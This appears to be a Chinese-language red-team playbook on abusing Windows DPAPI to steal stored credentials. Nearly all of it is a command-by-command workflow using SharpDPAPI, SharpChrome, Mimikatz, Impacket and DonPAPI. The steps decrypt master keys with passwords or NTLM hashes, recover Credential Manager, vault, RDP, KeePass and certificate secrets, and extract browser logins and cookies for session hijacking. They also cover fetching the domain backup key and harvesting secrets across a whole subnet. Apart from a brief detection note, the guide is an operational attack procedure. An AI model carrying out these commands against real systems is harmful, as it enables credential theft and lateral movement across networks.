滥用 DPAPI 进行凭据访问
法律声明: 此技能仅用于授权的渗透测试、红队演练和教育目的。从您不拥有或缺乏明确书面授权进行测试的系统中提取凭据是非法的,可能违反计算机欺诈和滥用法律。始终在签署的参与规则范围内操作,并记录每个操作。
概述
Windows 数据保护 API (DPAPI) 是操作系统内置的对称加密服务,应用程序使用它来保护静态秘密:保存的 RDP 和 Windows 凭据管理器凭据、凭据库中的 Web 和 Wi-Fi 凭据、浏览器保存的登录信息和 cookie (Chrome/Edge)、KeePass 密钥、证书私钥以及计划任务密码。DPAPI 从用户的密码(或机器帐户密钥)派生出每个用户(或每个机器)的主密钥,该主密钥加密各个“DPAPI blob”。加密的主密钥位于 %APPDATA%\Microsoft\Protect\<SID>\(用户)和 %WINDIR%\System32\Microsoft\Protect\(机器)下。
红队成员在获得据点后滥用 DPAPI 恢复明文秘密,映射到 MITRE ATT&CK T1555.004(来自密码存储的凭据:Windows 凭据管理器)。有三种主要的解密路径:
- 在线 / 基于上下文 — 以目标用户身份运行,DPAPI API (
CryptUnprotectData) 透明地解密用户的 blob。SharpDPAPI 的/unprotect标志使用此方法。 - 使用用户密码或 NTLM 哈希离线 — 使用
/password:或/ntlm:解密用户的主密钥,然后离线解密 blob(适用于从主机获取的已分类文件)。 - 使用域 DPAPI 备份密钥进行域范围解密 — 域管理员可以提取域的 RSA DPAPI 备份密钥 (
.pvk) 一次,然后使用/pvk:在线或离线解密任何域用户的主密钥。
标准工具是 SharpDPAPI(GhostPack,Mimikatz DPAPI 功能的 C# 移植版)用于 Windows,SharpChrome 用于浏览器秘密,以及 Mimikatz(dpapi::*)作为原始实现。在 Linux 上,Impacket 的 dpapi.py 和 donpapi 执行远程/离线分类。
何时使用
- 在入侵 Windows 主机后,该用户保存了值得收集的 RDP、浏览器或库凭据以供横向移动。
- 当您持有用户的密码或 NTLM 哈希,并希望离线解密其 DPAPI 保护的秘密时。
- 当您拥有域管理员权限并希望获取域 DPAPI 备份密钥,以跨域解密任何用户的保护数据时。
- 在从磁盘映像中提取的
Credentials、Vault或Protect目录进行分类时。 - 在紫队演练期间,验证对 DPAPI 主密钥访问和 LSASS/Protect 文件夹读取的检测。
先决条件
- 在目标 Windows 主机上获得授权的据点(交互式会话、beacon 或远程管理员)。
- 了解目标用户的 SID,以及以下至少一项:用户的会话、密码、NTLM 哈希或用于备份密钥的域管理员权限。
- 工具(从源代码编译或使用发布二进制文件;仅从官方上游获取):
# SharpDPAPI / SharpChrome (GhostPack) — 使用 Visual Studio / msbuild 构建
git clone https://github.com/GhostPack/SharpDPAPI.git
# 打开 SharpDPAPI.sln 并构建 Release,或:
msbuild SharpDPAPI.sln /p:Configuration=Release
# Mimikatz(原始 DPAPI 实现)
# https://github.com/gentilkiwi/mimikatz/releases
# Linux 远程/离线分类(Impacket)
pipx install impacket # 提供 dpapi.py / impacket-dpapi
pipx install donpapi # https://github.com/login-securite/DonPAPI
目标
- 对主机上受 DPAPI 保护的凭据、库、RDP 和证书 blob 进行分类。
- 在线 (
/unprotect)、使用密码/哈希或使用域备份密钥解密用户主密钥。 - 恢复明文凭据管理器和库秘密。
- 使用 SharpChrome 提取浏览器保存的登录信息和 cookie。
- 获取并重用域 DPAPI 备份密钥以进行全域解密。
MITRE ATT&CK 映射
| 技术 ID | 名称 | 战术 | 相关性 |
|---|---|---|---|
| T1555.004 | 来自密码存储的凭据:Windows 凭据管理器 | 凭据访问 | DPAPI 保护凭据管理器/库条目;解密主密钥和 blob 可恢复这些存储的凭据。 |
| T1555.003 | 来自密码存储的凭据:来自网络浏览器的凭据 | 凭据访问 | SharpChrome 解密受 DPAPI 保护的 Chrome/Edge 登录信息、cookie 和状态密钥。 |
| T1003 | 操作系统凭据转储 | 凭据访问 | 提取主密钥/备份密钥是一种凭据材料转储形式。 |
工作流
1. 对主机进行 DPAPI blob 分类
在用户上下文中运行 SharpDPAPI triage 命令,以自动枚举并(在可能的情况下)解密凭据、库、RDG/RDP 和证书:
# 当前用户上下文的在线分类(使用 CryptUnprotectData)
SharpDPAPI.exe triage /unprotect
# 机器分类(需要本地管理员 / SYSTEM)用于机器范围的 blob
SharpDPAPI.exe machinetriage
2. 离线解密用户主密钥(密码或 NTLM 哈希)
如果您持有用户的密码或哈希,请解密其主密钥,生成一个 {GUID}:SHA1 映射,您可以针对各个 blob 重复使用:
# 使用密码解密当前/指定用户的所有主密钥
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple
# 使用用户的 NTLM 哈希而不是密码解密主密钥
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a
# 输出为 GUID:SHA1 行 — 将其提供给凭据/库命令
3. 恢复凭据管理器和库秘密
使用解密的主密钥映射(或 /pvk:)解密存储的凭据和库条目:
# 使用 GUID:SHA1 映射解密凭据管理器 blob
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1
# 或指向目标凭据文件夹并使用域备份密钥解密
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk
# 解密凭据库条目
SharpDPAPI.exe vaults /pvk:backupkey.pvk
4. 解密 RDP、KeePass 和证书秘密
# 保存的 RDCMan.settings RDP 密码(当前用户上下文)
SharpDPAPI.exe rdg /unprotect
# KeePass DPAPI 保护的主密钥
SharpDPAPI.exe keepass /unprotect
# 证书私钥(使用 /showall 导出可用的 .pem 用于所有存储)
SharpDPAPI.exe certificates /unprotect /showall
5. 使用 SharpChrome 提取浏览器凭据
SharpChrome 解密 Chrome/Edge 登录信息和 cookie。现代 Chromium 使用一个 SharpChrome 通过 DPAPI 解析的应用程序绑定“状态密钥”:
# 解密当前用户的保存登录信息
SharpChrome.exe logins /unprotect
# 解密目标文件夹中的 cookie(适用于会话劫持)
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk
# 显式解析 AES 状态密钥
SharpChrome.exe statekeys /unprotect
6. 获取域 DPAPI 备份密钥(域管理员)
使用域管理员权限,一次获取域的 RSA DPAPI 备份私钥。此密钥可以无限期地解密每个域用户的主密钥:
# 通过 MS-BKRP RPC 接口拉取并保存域备份密钥为 .pvk
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk
然后使用它离线解密任何用户的主密钥:
SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\
7. 远程 / 基于 Linux 的分类(Impacket / DonPAPI)
从 Linux 操作员机器上,跨主机收集并解密 DPAPI 秘密:
# 使用 Impacket 和域备份密钥解密单个主密钥文件
impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk
# 使用恢复的主密钥解密凭据 blob
impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>
# 使用 DonPAPI 跨主机进行大规模远程 DPAPI 收集
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24
工具和资源
| 工具 | 用途 | 链接 |
|---|---|---|
| SharpDPAPI | Windows DPAPI 分类/解密 (C#) | https://github.com/GhostPack/SharpDPAPI |
| SharpChrome | Chromium 登录信息/cookie/状态密钥解密 | https://github.com/GhostPack/SharpDPAPI |
| Mimikatz | 原始 DPAPI (dpapi::*) 实现 | https://github.com/gentilkiwi/mimikatz |
| Impacket dpapi.py | 远程/离线 DPAPI 解密 (Python) | https://github.com/fortra/impacket |
| DonPAPI | 大规模远程 DPAPI 收集 | https://github.com/login-securite/DonPAPI |
| HackTricks DPAPI | 技术参考 | https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html |
检测和 OPSEC 注意事项
- 主密钥访问以及对
\Microsoft\Protect\和\Microsoft\Credentials\的读取是可检测的;backupkey会触发对域控制器的 MS-BKRP RPC 调用。 /unprotect(在线)路径是单主机最隐秘的选项,但仅适用于实时用户。- 防御者应监控 Sysmon 进程对 LSASS 的访问以及对 Protect/Credentials 文件夹的异常访问 (DE.CM-01)。
验证标准
- 使用
SharpDPAPI triage/machinetriage对主机进行分类。 - 通过
/unprotect、/password:、/ntlm:或/pvk:解密了用户主密钥。 - 恢复了凭据管理器和库秘密。
- (如果存在)提取了 RDP / KeePass / 证书秘密。
- 使用 SharpChrome 解密了浏览器登录信息/cookie。
- 使用域管理员权限获取了域 DPAPI 备份密钥(如果在范围内)并离线重用。
- 所有恢复的秘密都附带了源主机/用户和 ROE 合规性记录。